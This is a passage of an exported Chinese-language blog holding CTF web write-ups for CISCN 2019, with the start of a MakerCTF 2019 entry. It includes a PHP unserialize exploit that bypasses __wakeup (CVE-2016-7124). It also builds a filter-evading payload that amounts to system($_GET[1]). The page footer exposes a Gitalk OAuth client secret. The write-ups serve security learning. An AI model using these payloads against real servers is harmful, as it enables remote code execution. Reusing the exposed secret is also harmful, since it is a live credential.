class=\"keyword\"\u003eecho\u003c/span\u003e @highlight_file(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;file,\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003eGET参数中含有file, LFI获得index.php源码, 根据其内容继续获得hint.php源码\u003cbr\u003e发现含有unserialize函数, 联系hint.php内容, 考察点为反序列化\u003c/p\u003e\u003cp\u003e有三处需要绕过:\u003c/p\u003e\u003col\u003e\u003cli\u003eparse_url 三斜杠绕过, 常规\u003c/li\u003e\u003cli\u003e\u003ccode\u003e__wakeup\u003c/code\u003e 绕过,\u003ca href=\"https://bugs.php.net/bug.php?id=72663\"\u003eCVE-2016-7124\u003c/a\u003e\u003c/li\u003e\u003cli\u003e每次调用getFlag token_flag都会随机变化,可以将token赋值为token_flag 的引用绕过\u003c/li\u003e\u003c/ol\u003e\u003cimg src=\"/2019/04/22/Security/Writeup/CISCN%202019/EUhNFz4.png\" class=\"\" title=\"Source\"\u003e\u003cp\u003e故exploit如下:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eFlag\u003c/span\u003e\u003c/span\u003e\u0026#123;\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eHandle\u003c/span\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"variable\"\u003e$handle\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"variable\"\u003e$xx\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;handle = \u003cspan class=\"variable\"\u003e$xx\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Flag(\u003cspan class=\"string\"\u003e\u0026quot;flag.php\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e-\u0026gt;token = \u0026amp;\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e-\u0026gt;token_flag;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e-\u0026gt;file = \u003cspan class=\"string\"\u003e\u0026quot;flag.php\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$pay\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Handle(\u003cspan class=\"variable\"\u003e$p\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e urlencode(serialize(\u003cspan class=\"variable\"\u003e$pay\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"love-the-math\"\u003elove the math\u003c/h2\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 题目源码 \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// calc.php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eerror_reporting(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//听说你很喜欢数学,不知道你是否爱它胜过爱flag\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;c\u0026#x27;\u003c/span\u003e]))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e show_source(\u003cspan class=\"keyword\"\u003e__FILE__\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//例子 c=20-1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$content\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;c\u0026#x27;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (strlen(\u003cspan class=\"variable\"\u003e$content\u003c/span\u003e) \u0026gt;= \u003cspan class=\"number\"\u003e80\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;太长了不会算\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$blacklist\u003c/span\u003e = [\u003cspan class=\"string\"\u003e\u0026#x27; \u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\\t\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\\r\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\\n\u0026#x27;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#x27;\\\u0026#x27;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\u0026quot;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;`\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\\[\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\\]\u0026#x27;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$blacklist\u003c/span\u003e \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$blackitem\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (preg_match(\u003cspan class=\"string\"\u003e\u0026#x27;/\u0026#x27;\u003c/span\u003e . \u003cspan class=\"variable\"\u003e$blackitem\u003c/span\u003e . \u003cspan class=\"string\"\u003e\u0026#x27;/m\u0026#x27;\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$content\u003c/span\u003e)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;请不要输入奇奇怪怪的字符\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;echo \u0026#x27;\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$content\u003c/span\u003e.\u003cspan class=\"string\"\u003e\u0026#x27;;\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$whitelist\u003c/span\u003e = [\u003cspan class=\"string\"\u003e\u0026#x27;abs\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;acos\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;acosh\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;asin\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;asinh\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;atan2\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;atan\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;atanh\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;base_convert\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;bindec\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;ceil\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;cos\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;cosh\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;decbin\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;dechex\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;decoct\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;deg2rad\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;exp\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;expm1\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;floor\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;fmod\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;getrandmax\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;hexdec\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;hypot\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;is_finite\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;is_infinite\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;is_nan\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;lcg_value\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;log10\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;log1p\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;log\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;max\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;min\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;mt_getrandmax\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;mt_rand\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;mt_srand\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;octdec\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;pi\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;pow\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;rad2deg\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;rand\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;round\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;sin\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;sinh\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;sqrt\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;srand\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;tan\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;tanh\u0026#x27;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e preg_match_all(\u003cspan class=\"string\"\u003e\u0026#x27;/[a-zA-Z_\\x7f-\\xff][a-zA-Z_0-9\\x7f-\\xff]*/\u0026#x27;\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$content\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$used_funcs\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$used_funcs\u003c/span\u003e[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$func\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!in_array(\u003cspan class=\"variable\"\u003e$func\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$whitelist\u003c/span\u003e)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;请不要输入奇奇怪怪的函数\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//帮你算出答案\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;echo \u0026#x27;\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$content\u003c/span\u003e.\u003cspan class=\"string\"\u003e\u0026#x27;;\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003cp\u003e观察发现如下限制:\u003c/p\u003e\u003col\u003e\u003cli\u003epayload长度不可超过80\u003c/li\u003e\u003cli\u003e可以执行任何数学函数\u003c/li\u003e\u003cli\u003e有部分字符不可用( \u003ccode\u003e$blacklist\u003c/code\u003e )\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e由于80这个长度太短, 所以后期应当是通过取其它位置的可控输入点进行执行和输出\u003cbr\u003e应当取能够返回字符串的数学函数, 加以拼接得到期望值\u003cbr\u003e题目过滤了所有除数学函数名意外的英文字符, 所以应当利用纯数字构造payload\u003c/p\u003e\u003cp\u003e观察数学函数的输入输出, 发现涉及到不同进制的数学函数能够返回字符串。\u003cbr\u003e其中利用base_convert能获取更大的字符集, 但也更长\u003cbr\u003e原型:\u003ccode\u003ebase_convert(number,frombase,tobase)\u003c/code\u003e\u003cbr\u003e可以将字符串转为10进制或其它能够组成纯数字的进制来控制输入\u003c/p\u003e\u003cp\u003e验证: \u003ccode\u003eurl:/calc.php?c=base_convert(55490343972,10,36)()\u003c/code\u003e\u003cbr\u003e可以执行phpinfo\u003c/p\u003e\u003cp\u003e比赛时受师傅的引导,将echo file_get_contents缩短为readfile,成功获得了flag\u003c/p\u003e\u003cimg src=\"/2019/04/22/Security/Writeup/CISCN%202019/SlwlDOA.png\" class=\"\" title=\"meme\"\u003e\u003cp\u003e其实应该是可以RCE的\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003ephp \u0026gt; \u003ccode\u003eecho base_convert('system', 36, 10);\u003c/code\u003e\u003cbr\u003e1751504350\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e考虑到进制转换只能转出小写字母, 此处利用php能将字符串互相异或的行为, 能够将多个16进制串进行异或得到大写字母。\u003cbr\u003e于是目的是:将两个\u003ccode\u003e[a-z0-9]*\u003c/code\u003e字符串异或得到\u003ccode\u003e_GET\u003c/code\u003e,利用\u003ccode\u003e_GET\u0026#123;param\u0026#125;\u003c/code\u003e获取到另一参数中引入的更长字串\u003cbr\u003e进行fuzz, fuzz代码:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$table\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026quot;0123456789abcdefghijklmnopqrstuvwxyz\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$i\u003c/span\u003e = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e \u0026lt; \u003cspan class=\"number\"\u003e36\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e++)\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$j\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$j\u003c/span\u003e \u0026lt; \u003cspan class=\"number\"\u003e36\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$j\u003c/span\u003e++)\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$table\u003c/span\u003e[\u003cspan class=\"variable\"\u003e$i\u003c/span\u003e]^\u003cspan class=\"variable\"\u003e$table\u003c/span\u003e[\u003cspan class=\"variable\"\u003e$j\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot; \u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"variable\"\u003e$table\u003c/span\u003e[\u003cspan class=\"variable\"\u003e$i\u003c/span\u003e].\u003cspan class=\"string\"\u003e\u0026quot; \u0026quot;\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$table\u003c/span\u003e[\u003cspan class=\"variable\"\u003e$j\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;\\n\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// php test.php| strings | grep \u0026quot;_\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// php test.php| strings | grep \u0026quot;G\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// php test.php| strings | grep \u0026quot;E\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// php test.php| strings | grep \u0026quot;T\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e得到\u003ccode\u003e\u0026quot;1000\u0026quot;^\u0026quot;nwud\u0026quot; == \u0026quot;_GET\u0026quot;\u003c/code\u003e\u003cbr\u003e所以能够构造出一句话payload:\u003cbr\u003e\u003ccode\u003ebase_convert(1751504350,28,10)($\u0026#123;decoct(512)^base_convert(862402,10,33)\u0026#125;\u0026#123;1\u0026#125;)\u003c/code\u003e\u003cbr\u003e即\u003ccode\u003esystem($_GET[1])\u003c/code\u003e\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2019/04/22/Security/Writeup/CISCN%202019/"},{"title":"MakerCTF 2019 部分Web题目 Writeup","time":"2019-04-14T16:00:00Z","content":"\u003ch2 id=\"Pineapple\"\u003ePineapple\u003c/h2\u003e\n\u003cp\u003e通过扫描可以发现存在git源码泄露,进一步发现index.php中存在反序列化点:\u003c/p\u003e\n\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutte\u003chr /\u003e\u003ch2 